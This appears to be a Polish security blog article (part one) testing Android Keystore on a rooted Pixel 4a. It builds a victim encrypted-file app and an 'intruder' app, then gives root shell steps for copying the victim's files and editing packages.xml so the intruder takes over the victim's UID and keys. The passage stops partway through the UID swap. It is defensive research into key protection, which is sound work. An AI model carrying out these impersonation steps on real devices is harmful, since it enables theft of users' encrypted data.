Android Keystore & Biometria - cz. I [PL]

Android Aug 31, 2023

Android Keystore & Biometria

Bezpieczeństwo danych na skompromitowanym urządzeniu
(część I)

W tym artykule przyjrzymy się Android Keystore z punktu widzenia intruza, który uzyskał wysokie uprawnienia w systemie i chce uzyskać dostęp do poufnych danych.
Zobaczymy jak trudno uzyskać dostęp do danych zaszyfrowanych przez StrongBox oraz jak blokada ekranu i biometria mogą pomóc w zabezpieczeniu dostępu do kluczy.
Aby podkreślić aktualność stosowanych technik, wszystkie testy wykonamy na urządzeniu Pixel 4a z systemem Android 13.

Artykuł składa się z dwóch części:

  1. Wprowadzenie. Przygotowanie aplikacji testowych. Poziomy bezpieczeństwa TEE i StrongBox.
  2. Blokada ekranu i biometria w uwierzytelnianiu kluczy. Czasowe uwierzytelnianie. Prosty błąd, którego lepiej nie popełnić.

Wprowadzenie

Android Keystore jest kontenerem kluczy kryptograficznych, który cechuje się wysoką ochroną materiału szyfrującego, uniemożliwiającą wydobycie kluczy z urządzenia.
Klucze te mogą być używane do operacji kryptograficznych, jednak nie mogą zostać wyeksportowane.

W najnowszej generacji systemów, Android oferuje dwa wspomagane sprzętowo rozwiązania:

  1. Trusted Execution Environment (TEE) - wykorzystując mechanizm procesora ARM Trustzone™, równolegle z systemem Android uruchamiany jest odizolowany system operacyjny Trusty, który świadczy dla głównego systemu usługi kryptograficzne. [https://source.android.com/docs/security/features/trusty]
  2. StrongBox / Secure Elements (SE) - sprzętowy chip eSE (embedded) lub iSE (on-SoC) do obsługi kryptografii.

Więcej o historii, rozwoju i aspektach technicznych keystore możemy poczytać na oficjalnej stronie: https://developer.android.com/training/articles/keystore.

Dlaczego to takie ważne?

Kiedy aplikacja korzysta z programowych mechanizmów inicjalizacji klucza, istnieje wiele prostych technik umożliwiających jego odzyskanie.
Począwszy od inżynierii wstecznej, poprzez zrzuty pamięci, aż do wykorzystania narzędzi takich jak Frida [https://frida.re].
Odzyskany materiał szyfrujący można wysłać wraz z zaszyfrowanymi plikami do zewnętrznego środowiska analitycznego i tam przyspieszyć cały proces deszyfrowania, który nierzadko będzie identyczny dla wielu urządzeń obsługujących tą samą aplikację.

Czy zakładając, że sprzętowe mechanizmy ochrony materiału szyfrującego uniemożliwiają jego wydobycie z urządzenia, możemy uznać, że zaszyfrowane dane są poza zasięgiem inwigilacji?

Oczywiście, że nie, na co wskazuje już sama dokumentacja:

~ If the app's process is compromised, the attacker might be able to use the app's keys but can't extract their key material

[https://developer.android.com/training/articles/keystore#ExtractionPrevention]

W przypadku silnej ochrony klucza, intruz nadal może uzyskać dostęp do danych, jednak wszelkie operacje kryptograficzne musi dokonać na urządzeniu ofiary.

Środowisko i przebieg testów

Wybrane konfiguracje przetestujemy korzystając z bliźniaczych aplikacji, modyfikując jedynie sposób generowania i obsługi klucza.
Pominiemy scenariusze z poziomem bezpieczeństwa "Software", który na najnowszych urządzeniach nie powinien wystąpić.
Zakładamy, że intruz zdołał uzyskać najwyższe uprawnienia w systemie (root).

Urządzenie testowe: Google Pixel 4a z systemem Android 13 (TQ3A.230805.001.A2, Aug 2023) i rootem Magisk.

Bazowa aplikacja

Prosta aplikacja przechowująca dane w zaszyfrowanym pliku, która pozwala na odczyt i zapis wiadomości oraz podgląd poziomu bezpieczeństwa klucza.

Sposób utworzenia aplikacji:

  • Android Studio -> New Project -> Empty Activity
  • Language: Java
  • Minimum SDK: API 31: Android 12.0 (S)

Implementacja niektórych funkcji dla starszych systemów może różnić się od prezentowanej, ze względu na brak najnowszych funkcjonalności w starszych API.

W każdym prezentowanych przypadkach niezmienne pozostaną:

  • klasa abstrakcyjna SecureFile, będąca podstawą do operacji na zaszyfrowanym pliku
  • layout activity_main.xml
  • definicja klasy i pól MainActivity.java
  • funkcja protected void onCreate(Bundle savedInstanceState)
  • funkcja private void notify(String msg)

Zmiany dotyczyć będą jedynie:

  • klas implementujących SecureFile
  • implementacji funkcji initialize() oraz jej ewentualnych funkcji pomocniczych

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:app="http://schemas.android.com/apk/res-auto"
   xmlns:tools="http://schemas.android.com/tools"
   android:layout_width="match_parent"
   android:layout_height="match_parent"
   tools:context=".MainActivity">

   <TextView
       android:id="@+id/textView"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="56dp"
       android:text="Your secure message"
       android:textSize="20sp"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toTopOf="parent" />

   <TextView
       android:id="@+id/textView2"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="48dp"
       android:text="Security level:"
       android:textSize="16sp"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintHorizontal_bias="0.38"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toTopOf="@+id/textView" />

   <TextView
       android:id="@+id/textView3"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="48dp"
       android:text="Unknown"
       android:textSize="16sp"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintHorizontal_bias="0.08"
       app:layout_constraintStart_toEndOf="@+id/textView2"
       app:layout_constraintTop_toTopOf="@+id/textView" />

   <EditText
       android:id="@+id/editTextTextMultiLine"
       android:layout_width="380dp"
       android:layout_height="96dp"
       android:layout_marginTop="48dp"
       android:ems="10"
       android:enabled="false"
       android:gravity="start|top"
       android:inputType="textMultiLine"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/textView2" />

   <Button
       android:id="@+id/button"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="8dp"
       android:text="Read"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/editTextTextMultiLine" />

   <EditText
       android:id="@+id/editTextTextMultiLine2"
       android:layout_width="380dp"
       android:layout_height="96dp"
       android:layout_marginTop="32dp"
       android:ems="10"
       android:enabled="true"
       android:gravity="start|top"
       android:inputType="textMultiLine"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/button" />

   <Button
       android:id="@+id/button2"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:text="Save"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/editTextTextMultiLine2" />

</androidx.constraintlayout.widget.ConstraintLayout>

MainActivity.java

package pl.isec.baseapp.ksdefault;

import static java.nio.charset.StandardCharsets.UTF_8;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.security.crypto.MasterKeys;
import android.os.Bundle;
import android.security.keystore.KeyInfo;
import android.security.keystore.KeyProperties;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.GeneralSecurityException;
import java.security.KeyStore;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;

public class MainActivity extends AppCompatActivity {
   private final static String ANDROID_KEYSTORE = "AndroidKeyStore";
   private final static String FILENAME = "encrypted.txt";

   private String mSecurityLevel;
   private SecureFile mSecureFile;

   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_main);

       EditText outputText = findViewById(R.id.editTextTextMultiLine);
       EditText inputText = findViewById(R.id.editTextTextMultiLine2);
       Button readButton = findViewById(R.id.button);
       Button saveButton = findViewById(R.id.button2);
       TextView securityLevelText = findViewById(R.id.textView3);

       try {
           initialize();
       } catch (GeneralSecurityException | IOException e){
           e.printStackTrace();
           notify("Something gone wrong!");
       }

       securityLevelText.setText(mSecurityLevel);

       readButton.setOnClickListener(view ->{
           mSecureFile.openFileInput(new SecureFile.OpenFileInputCallback() {
               @Override
               public void onError(@NonNull CharSequence errString) {
                   MainActivity.this.notify("Authentication failed!");
                   outputText.setText("#" + errString);
               }

               @Override
               public void onInputStreamReady(@NonNull InputStream inputStream) {
                   try {
                       // Must be compatible with EncryptedFile.openFileInput(), see: https://developer.android.com/topic/security/data#read-files
                       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                       int nextByte = inputStream.read();
                       while (nextByte != -1) {
                           byteArrayOutputStream.write(nextByte);
                           nextByte = inputStream.read();
                       }
                       outputText.setText(
                           byteArrayOutputStream.toString("UTF-8")
                       );
                   } catch(IOException e){
                       e.printStackTrace();
                       MainActivity.this.notify("Reading failed!");
                   }
               }
           });
       });

       saveButton.setOnClickListener(view ->{
           mSecureFile.openFileOutput(new SecureFile.OpenFileOutputCallback() {
               @Override
               public void onError(@NonNull CharSequence errString) {
                   MainActivity.this.notify("Authentication failed!");
                   outputText.setText("#" + errString);
               }

               @Override
               public void onOutputStreamReady(@NonNull OutputStream outputStream) {
                   try {
                       // Must be compatible with EncryptedFile.openFileOutput(), see: https://developer.android.com/topic/security/data#write-files
                       outputStream.write(
                           inputText.getText().toString().getBytes(UTF_8)
                       );
                       outputStream.flush();
                       outputStream.close();
                       inputText.setText("");
                   } catch(IOException e){
                       e.printStackTrace();
                       MainActivity.this.notify("Writing failed!");
                   }
               }
           });
       });
   }

   private void notify(String msg){
       Toast.makeText(this, msg, Toast.LENGTH_SHORT).show();
   }

   private void initialize() throws GeneralSecurityException, IOException {
       /** ... **/
   }
}

SecureFile.java

package pl.isec.baseapp.ksdefault;

import android.content.Context;
import androidx.annotation.NonNull;
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;

public abstract class SecureFile {
   protected final File mFile;
   protected final Context mContext;
   protected final String mKeyAlias;

   public SecureFile(
           @NonNull File file,
           @NonNull Context context,
           @NonNull String keyAlias
   ) {
       mFile = file;
       mContext = context;
       mKeyAlias = keyAlias;
   }

   public abstract void openFileInput(@NonNull OpenFileInputCallback callback);

   public abstract void openFileOutput(@NonNull OpenFileOutputCallback callback);

   public abstract static class OpenFileInputCallback {
       public abstract void onError(@NonNull CharSequence errString);
       public abstract void onInputStreamReady(@NonNull InputStream inputStream);
   }

   public abstract static class OpenFileOutputCallback {
       public abstract void onError(@NonNull CharSequence errString);
       public abstract void onOutputStreamReady(@NonNull OutputStream outputStream);
   }
}

build.gradle

[...]

dependencies {
   implementation 'androidx.security:security-crypto:1.0.0'
[...]

Graficzna aplikacja intruza

Aplikacja na wzór bazowej aplikacji, która spróbuje odczytać jej zaszyfrowany plik.

Korzystając z wysokich uprawnień, uruchomimy aplikację w taki sposób, aby system Android rozpoznał ją jako aplikację bazową i pozwolił skorzystać z jej kluczy.
Zastosujemy technikę polegającą na modyfikacji zapisanych ustawień menedżera pakietów i restarcie środowiska.
Metoda skuteczna, lecz inwazyjna i mało dyskretna, gdyż wpływa na zmianę uprawnień aplikacji-ofiary, a ponowne uruchomienie środowiska daje wyraźne efekty na ekranie urządzenia.

Konsolowa aplikacja intruza

Aplikacja uruchamiana w tle, która wykorzystując wysokie uprawnienia oraz prywatne API środowiska Android Runtime, podszywa się pod bazową aplikację i rozszyfruje jej plik.
Jest to bardziej prawdopodobna technika w przypadku realnej infekcji.

Implementacja i testy

Domyślna konfiguracja

Zgodnie z tutorialem najlepszych praktyk bezpieczeństwa zaimplementujemy aplikację wykorzystując EncryptedFile i MasterKeys. [https://developer.android.com/topic/security/data]

Nazwa pakietu: pl.isec.baseapp.ksdefault

MainActivity.java

private void initialize() throws GeneralSecurityException, IOException {
   /** Get or create key **/
   String masterKeyAlias = MasterKeys.getOrCreate(MasterKeys.AES256_GCM_SPEC);

   /** Get security level **/
   KeyStore ks = KeyStore.getInstance(ANDROID_KEYSTORE);
   ks.load(null);
   SecretKey secretKey = (SecretKey) ks.getKey(masterKeyAlias, null);
   SecretKeyFactory factory = SecretKeyFactory.getInstance(secretKey.getAlgorithm(), ANDROID_KEYSTORE);
   KeyInfo keyInfo = (KeyInfo) factory.getKeySpec(secretKey, KeyInfo.class);

   switch(keyInfo.getSecurityLevel()){
       case KeyProperties.SECURITY_LEVEL_SOFTWARE:
           mSecurityLevel = "Software"; break;
       case KeyProperties.SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
           mSecurityLevel = "TEE"; break;
       case KeyProperties.SECURITY_LEVEL_STRONGBOX:
           mSecurityLevel = "StrongBox"; break;
       default:
           mSecurityLevel = "Unknown";
   }

   /** Create instance of the SecureFile **/
   mSecureFile = new SecureFileImpl(
           new File(getFilesDir(), FILENAME),
           this,
           masterKeyAlias
   );
}

SecureFileImpl.java

package pl.isec.baseapp.ksdefault;

import android.content.Context;
import androidx.annotation.NonNull;
import androidx.security.crypto.EncryptedFile;
import java.io.File;
import java.io.IOException;
import java.security.GeneralSecurityException;

public final class SecureFileImpl extends SecureFile {
   public SecureFileImpl(
           @NonNull File file,
           @NonNull Context context,
           @NonNull String keyAlias
   ){
       super(file, context, keyAlias);
   }

   @Override
   public void openFileInput(@NonNull OpenFileInputCallback callback) {
       try {
           callback.onInputStreamReady(
               getEncryptedFile().openFileInput()
           );
       } catch (GeneralSecurityException | IOException e) {
           callback.onError(e.getMessage());
       }
   }

   @Override
   public void openFileOutput(@NonNull OpenFileOutputCallback callback){
       try {
           mFile.delete();
           callback.onOutputStreamReady(
               getEncryptedFile().openFileOutput()
           );
       } catch (GeneralSecurityException | IOException e) {
           callback.onError(e.getMessage());
       }
   }

   private EncryptedFile getEncryptedFile() throws GeneralSecurityException, IOException {
       return new EncryptedFile.Builder(
               mFile,
               mContext,
               mKeyAlias,
               EncryptedFile.FileEncryptionScheme.AES256_GCM_HKDF_4KB
       ).build();
   }
}

Skompilowaną i podpisana aplikację możemy zainstalować poprzez adb:

$ adb install ~/AndroidStudioProjects/KsDefault/app/release/app-release.apk

Co kryją pliki?

Zobaczmy katalog danych aplikacji przed zapisaniem pliku:

$ adb shell
sunfish:/ $ su
sunfish:/ # cd /data/data/pl.isec.baseapp.ksdefault
sunfish:/data/data/pl.isec.baseapp.ksdefault # find ./   	 
./
./cache
./code_cache
./files

Zapiszmy tajną wiadomość:

Widzimy, że domyślny poziom bezpieczeństwa klucza na tym urządzeniu to TEE, czyli jedno z dwóch sprzętowych rozwiązań.

Ponownie sprawdźmy dane aplikacji:

sunfish:/data/data/pl.isec.baseapp.ksdefault # find ./
./
./cache
./code_cache
./files
./files/encrypted.txt
./shared_prefs
./shared_prefs/__androidx_security_crypto_encrypted_file_pref__.xml

Pojawiły się dwa pliki, oczekiwany encrypted.txt oraz  __androidx_security_crypto_encrypted_file_pref__.xml

Czym on jest?
Aby odpowiedzieć na to pytanie musimy sięgnąć do źródeł klasy EncryptedFile, która przynależy do biblioteki androidx.security.crypto
[https://androidx.tech/artifacts/security/security-crypto/1.0.0-source/androidx/security/crypto/EncryptedFile.java.html]

Z kodu źródłowego klasy dowiadujemy się, że:

/**
     	* The file content is encrypted using
     	* <a href="https://google.github.io/tink/javadoc/tink/1.4.0-rc2/com/google/crypto/tink/streamingaead/StreamingAead.html">StreamingAead</a> with AES-GCM, with the
     	* file name as associated data.
     	*
     	* For more information please see the Tink documentation:
     	*
     	* <a href="https://google.github.io/tink/javadoc/tink/1.4.0-rc2/com/google/crypto/tink/streamingaead/AesGcmHkdfStreamingKeyManager.html">AesGcmHkdfStreamingKeyManager</a>.aes256GcmHkdf4KBTemplate()
     	*/
	private static final String KEYSET_PREF_NAME =
        	"__androidx_security_crypto_encrypted_file_pref__";
	private static final String KEYSET_ALIAS =
        	"__androidx_security_crypto_encrypted_file_keyset__";

...

    	// Optional parameters
    	String mKeysetPrefName = KEYSET_PREF_NAME;
    	String mKeysetAlias = KEYSET_ALIAS;

...

    	/**
     	* @return An EncryptedFile with the specified parameters.
     	*/
    	@NonNull
    	public EncryptedFile build() throws GeneralSecurityException, IOException {
        	StreamingAeadConfig.register();

        	KeysetHandle streadmingAeadKeysetHandle = new AndroidKeysetManager.Builder()
                	.withKeyTemplate(mFileEncryptionScheme.getKeyTemplate())
                	.withSharedPref(mContext, mKeysetAlias, mKeysetPrefName)
                	.withMasterKeyUri(KEYSTORE_PATH_URI + mMasterKeyAlias)
                	.build().getKeysetHandle();

        	StreamingAead streamingAead =
                	streadmingAeadKeysetHandle.getPrimitive(StreamingAead.class);

        	return new EncryptedFile(mFile, mKeysetAlias, streamingAead, mContext);
    	}

Spróbujmy to rozszyfrować

Graficzną aplikację intruza budujemy w Android Studio podobnie jak bazową aplikację, z tą różnicą, że implementujemy tylko tryb odczytu.

Nazwa pakietu: pl.isec.robber.securefileimpl

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:app="http://schemas.android.com/apk/res-auto"
   xmlns:tools="http://schemas.android.com/tools"
   android:layout_width="match_parent"
   android:layout_height="match_parent"
   tools:context=".MainActivity">

   <TextView
       android:id="@+id/textView"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="56dp"
       android:text="Message"
       android:textSize="20sp"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toTopOf="parent" />

   <EditText
       android:id="@+id/editTextTextMultiLine"
       android:layout_width="380dp"
       android:layout_height="96dp"
       android:layout_marginTop="48dp"
       android:ems="10"
       android:enabled="false"
       android:gravity="start|top"
       android:inputType="textMultiLine"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/textView" />

   <Button
       android:id="@+id/button"
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="8dp"
       android:text="Read"
       app:layout_constraintEnd_toEndOf="parent"
       app:layout_constraintStart_toStartOf="parent"
       app:layout_constraintTop_toBottomOf="@+id/editTextTextMultiLine" />

</androidx.constraintlayout.widget.ConstraintLayout>

MainActivity.java

package pl.isec.robber.securefileimpl;

import androidx.appcompat.app.AppCompatActivity;
import androidx.security.crypto.EncryptedFile;
import androidx.security.crypto.MasterKeys;
import android.os.Bundle;
import android.widget.Button;
import android.widget.EditText;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.security.GeneralSecurityException;

public class MainActivity extends AppCompatActivity {
   private final static String FILENAME = "encrypted.txt";

   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_main);

       EditText outputText = findViewById(R.id.editTextTextMultiLine);
       Button readButton = findViewById(R.id.button);

       readButton.setOnClickListener(view ->{
           try {
               outputText.setText(readMessage());
           } catch(Exception e){
               e.printStackTrace();
               outputText.setText("#"+ e.getMessage());
           }
       });
   }

   private String readMessage() throws GeneralSecurityException, IOException {
       /** Get or create key **/
       String masterKeyAlias = MasterKeys.getOrCreate(MasterKeys.AES256_GCM_SPEC);

       /** Read EncryptedFile **/
       InputStream inputStream = new EncryptedFile.Builder(
           new File(getFilesDir(), FILENAME),
           this,
           masterKeyAlias,
           EncryptedFile.FileEncryptionScheme.AES256_GCM_HKDF_4KB
       ).build().openFileInput();

       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
       int nextByte = inputStream.read();
       while (nextByte != -1) {
           byteArrayOutputStream.write(nextByte);
           nextByte = inputStream.read();
       }

       return byteArrayOutputStream.toString("UTF-8");
   }
}

Pierwszym testem będzie zwykłe skopiowanie zaszyfrowanego pliku oraz pliku keyset do danych aplikacji intruza.

Kopiujemy pliki:

sunfish:/data/data/pl.isec.robber.securefileimpl # mkdir files shared_prefs
sunfish:/data/data/pl.isec.robber.securefileimpl # cp ../pl.isec.baseapp.ksdefault/files/encrypted.txt ./files/
sunfish:/data/data/pl.isec.robber.securefileimpl # cp ../pl.isec.baseapp.ksdefault/shared_prefs/__androidx_security_crypto_encrypted_file_pref__.xml ./shared_prefs/

Korygujemy uprawnienia:

sunfish:/data/data/pl.isec.robber.securefileimpl # pm list packages -3 -U pl.isec
package:pl.isec.robber.securefileimpl uid:10233
package:pl.isec.baseapp.ksdefault uid:10232
sunfish:/data/data/pl.isec.robber.securefileimpl # chown -R 10233:10233 files/ shared_prefs/

Uruchamiamy aplikację i odczytujemy plik:

Tak, to była naiwna próba :)

Analizując logi (komenda adb logcat) możemy upewnić się, że to błąd przy deszyfrowaniu.

AndroidKeystoreAesGcm: encountered a potentially transient KeyStore error, will wait and retry
AndroidKeystoreAesGcm: javax.crypto.AEADBadTagException
AndroidKeystoreAesGcm:     	at android.security.keystore2.AndroidKeyStoreCipherSpiBase.engineDoFinal(AndroidKeyStoreCipherSpiBase.java:611)
AndroidKeystoreAesGcm:     	at javax.crypto.Cipher.doFinal(Cipher.java:2114)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.integration.android.AndroidKeystoreAesGcm.decryptInternal(AndroidKeystoreAesGcm.java:115)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.integration.android.AndroidKeystoreAesGcm.decrypt(AndroidKeystoreAesGcm.java:97)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.KeysetHandle.decrypt(KeysetHandle.java:206)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.KeysetHandle.read(KeysetHandle.java:107)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.integration.android.AndroidKeysetManager$Builder.read(AndroidKeysetManager.java:311)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.integration.android.AndroidKeysetManager$Builder.readOrGenerateNewKeyset(AndroidKeysetManager.java:287)
AndroidKeystoreAesGcm:     	at com.google.crypto.tink.integration.android.AndroidKeysetManager$Builder.build(AndroidKeysetManager.java:238)
AndroidKeystoreAesGcm:     	at androidx.security.crypto.EncryptedFile$Builder.build(EncryptedFile.java:172)
AndroidKeystoreAesGcm:     	at pl.isec.robber.securefileimpl.MainActivity.readMessage(MainActivity.java:46)
[...]

W jaki sposób Android Keystore dobiera klucze dla aplikacji?

Odpowiedzi możemy szukać w dokumentacji oraz w samych kodach źródłowych systemu Android.

https://source.android.com/docs/security/features/keystore?hl=en#access-control

The most basic rule of Keystore access control is that each app has its own namespace.
[...]
With Keystore domains, we can decouple namespaces from UIDs. Clients accessing a key in Keystore have to specify the domain, namespace, and alias that they want to access.
[...]
DOMAIN_APP: The app domain covers the legacy behavior. The Java Keystore SPI uses this domain by default. When this domain is used, the namespace argument is ignored and the UID of the caller is used instead. Access to this domain is controlled by the Keystore label to the class keystore_key in the SELinux policy.


https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/keystore/java/android/security/keystore/AndroidKeyStoreProvider.java

    /**
     * Returns an {@code AndroidKeyStore} {@link java.security.KeyStore}} of the specified UID.
     * The {@code KeyStore} contains keys and certificates owned by that UID. Such cross-UID
     * access is permitted to a few system UIDs and only to a few other UIDs (e.g., Wi-Fi, VPN)
     * all of which are system.
     *
     * <p>Note: the returned {@code KeyStore} is already initialized/loaded. Thus, there is
     * no need to invoke {@code load} on it.
     *
     * @param uid Uid for which the keystore provider is requested.
     * @throws KeyStoreException if a KeyStoreSpi implementation for the specified type is not
     * available from the specified provider.
     * @throws NoSuchProviderException If the specified provider is not registered in the security
     * provider list.
     * @hide
     */
    @SystemApi
    @NonNull
    public static java.security.KeyStore getKeyStoreForUid(int uid)
            throws KeyStoreException, NoSuchProviderException {
        final java.security.KeyStore.LoadStoreParameter loadParameter =
                new android.security.keystore2.AndroidKeyStoreLoadStoreParameter(
                        KeyProperties.legacyUidToNamespace(uid));
        java.security.KeyStore result = java.security.KeyStore.getInstance(PROVIDER_NAME);
        try {
            result.load(loadParameter);
        } catch (NoSuchAlgorithmException | CertificateException | IOException e) {
            throw new KeyStoreException(
                    "Failed to load AndroidKeyStore KeyStore for UID " + uid, e);
        }
        return result;
    }
}

https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/keystore/java/android/security/keystore2/AndroidKeyStoreProvider.java

    /**
     * Loads an an AndroidKeyStoreKey from the AndroidKeyStore backend.
     *
     * @param keyStore The keystore2 backend.
     * @param alias The alias of the key in the Keystore database.
     * @param namespace The a Keystore namespace. This is used by system api only to request
     *         Android system specific keystore namespace, which can be configured
     *         in the device's SEPolicy. Third party apps and most system components
     *         set this parameter to -1 to indicate their application specific namespace.
     *         See <a href="https://source.android.com/security/keystore#access-control">
     *             Keystore 2.0 access control</a>
     * @hide
     **/
    @NonNull
    public static AndroidKeyStoreKey loadAndroidKeyStoreKeyFromKeystore(
            @NonNull KeyStore2 keyStore, @NonNull String alias, int namespace)
            throws UnrecoverableKeyException, KeyPermanentlyInvalidatedException {
        KeyDescriptor descriptor = new KeyDescriptor();
        if (namespace == KeyProperties.NAMESPACE_APPLICATION) {
            descriptor.nspace = KeyProperties.NAMESPACE_APPLICATION; // ignored;
            descriptor.domain = Domain.APP;
        } else {
            descriptor.nspace = namespace;
            descriptor.domain = Domain.SELINUX;
        }
        descriptor.alias = alias;
        descriptor.blob = null;
        final AndroidKeyStoreKey key = loadAndroidKeyStoreKeyFromKeystore(keyStore, descriptor);
        if (key instanceof AndroidKeyStorePublicKey) {
            return ((AndroidKeyStorePublicKey) key).getPrivateKey();
        } else {
            return key;
        }
    }

Okazuje się, że obecnie Android Keystore bazuje na przestrzeniach nazw, przy czym każda aplikacja posiada swoją własną.
Jednakże, domyślna konfiguracja jest wstecznie kompatybilna z implementacją, która bazowała jedynie na UID aplikacji.

Tak więc, chcąc skorzystać z kluczy aplikacji, w większości przypadków wystarczy uruchomić kod z odpowiednimi uprawnieniami!
Ale jak to zrobić?

W przypadku konsolowej aplikacji nie jest to trudne, gdyż system udostępnia narzędzie app_process, pozwalające wykonać kod w środowisku Android Runtime, a mając uprawnienia roota możemy przełączyć się na dowolne inne uprawnienia.

Natomiast, z graficzną aplikacją jest to większe wyzwanie, ze względu na powiązania w systemowych usługach do obsługi interfejsu użytkownika.
Podstawowym komponentem graficznej aplikacji jest aktywność (Activity).
Do poprawnego działania aktywności wymagane jest aby inicjujący ją proces znajdował się na liście procesów w usłudze ActivityTaskManager, a jedynym sposobem na osiągnięcie tego stanu jest uruchomienie aplikacji przez tą właśnie usługę.
Prośbę o uruchomienie aktywności możemy wysłać różnymi ścieżkami, np. poprzez kliknięcie ikony, poleceniem am start-activity, czy też wywołaniem metody Context#startActivity(android.content.Intent).
Niestety, niezależnie od wybranego sposobu, ActivityTaskManager nie pozwoli na ustawienie docelowego UID.

Jednak, istnieje sprytny sposób, który pozwoli nam oszukać systemowe usługi.
Szczegółowe informacje m. in. o zainstalowanych aplikacjach udostępnia usługa menadżera pakietów (PackageManager), która przechowuje kopię stanu w pliku /data/system/packages.xml, tak by móc go przywrócić po restarcie systemu.
Plik ten jest zapisany w formie tekstowej XML lub binarnej ABX, a cały trik polega na podmianie UID i zrestartowaniu środowiska.

Właściwy sposób na uruchomienie graficznej aplikacji intruza

W pierwszym kroku, wykonujemy kopię pliku, konwertujemy do tekstowego formatu XML i pobieramy na komputer:

sunfish:/data/system # file packages.xml
packages.xml: Android Binary XML v0
sunfish:/data/system # cp -a packages.xml packages.bak
sunfish:/data/system # abx2xml packages.xml /data/local/tmp/packages.xml
sunfish:/data/system # chmod 777 /data/local/tmp/packages.xml
$ adb pull /data/local/tmp/packages.xml

Szukamy wpisów dotyczących aplikacji pl.isec.baseapp.ksdefault oraz pl.isec.robber.securefileimpl i podmieniamy ich atrybuty userId.
W systemie nie mogą istnieć dwie aplikacje z tym samym userId, a w przypadku konfliktu, obie zostaną usunięte.

Z:
	<package name="pl.isec.robber.securefileimpl" codePath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==" nativeLibraryPath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==/lib" publicFlags="0" privateFlags="0" ft="1849209e990" ut="1849209ecdb" version="1" userId="10233" packageSource="0" loadingProgress="1.0" domainSetId="91781d31-15b4-4fda-b8e2-83d7f0f5c199">

Na:
	<package name="pl.isec.robber.securefileimpl" codePath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==" nativeLibraryPath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==/lib" publicFlags="0" privateFlags="0" ft="1849209e990" ut="1849209ecdb" version="1" userId="10232" packageSource="0" loadingProgress="1.0" domainSetId="91781d31-15b4-4fda-b8e2-83d7f0f5c199">
Z:
	<package name="pl.isec.baseapp.ksdefault" codePath="/data/app/~~-0b8RWPkUXQsqp_sn793Ig==/pl.isec.baseapp.ksdefault-ooM7d84_pQ-dEZXVsMLLoQ==" nativeLibraryPath="/data/app/~~-0b8RWPkUXQsqp_sn793Ig==/pl.isec.baseapp.ksdefault-ooM7d84_pQ-dEZXVsMLLoQ==/lib" publicFlags="0" privateFlags="0" ft="1849203e680" ut="1849203e773" version="1" userId="10232" packageSource="0" loadingProgress="1.0" domainSetId="2e794746-ed61-4676-8d24-5555f4ccadde">

Na:
